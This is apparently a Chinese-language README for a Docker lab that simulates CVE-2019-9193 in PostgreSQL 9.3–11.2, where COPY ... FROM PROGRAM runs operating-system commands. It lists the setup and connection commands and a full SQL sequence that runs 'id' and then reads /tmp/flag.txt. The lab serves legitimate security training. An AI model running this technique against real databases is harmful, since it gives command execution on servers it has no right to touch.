本实验室模拟 CVE-2019-9193,这是一个 PostgreSQL 9.3–11.2 版本中的漏洞,允许:
COPY ... FROM PROGRAM '<command>'
当超级用户或拥有 pg_execute_server_program 角色的用户执行时,可以运行操作系统命令。
你的任务是利用此功能读取:
/tmp/flag.txt
COPY FROM PROGRAM :
docker compose build
docker compose up -d
通过以下方式连接:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program 角色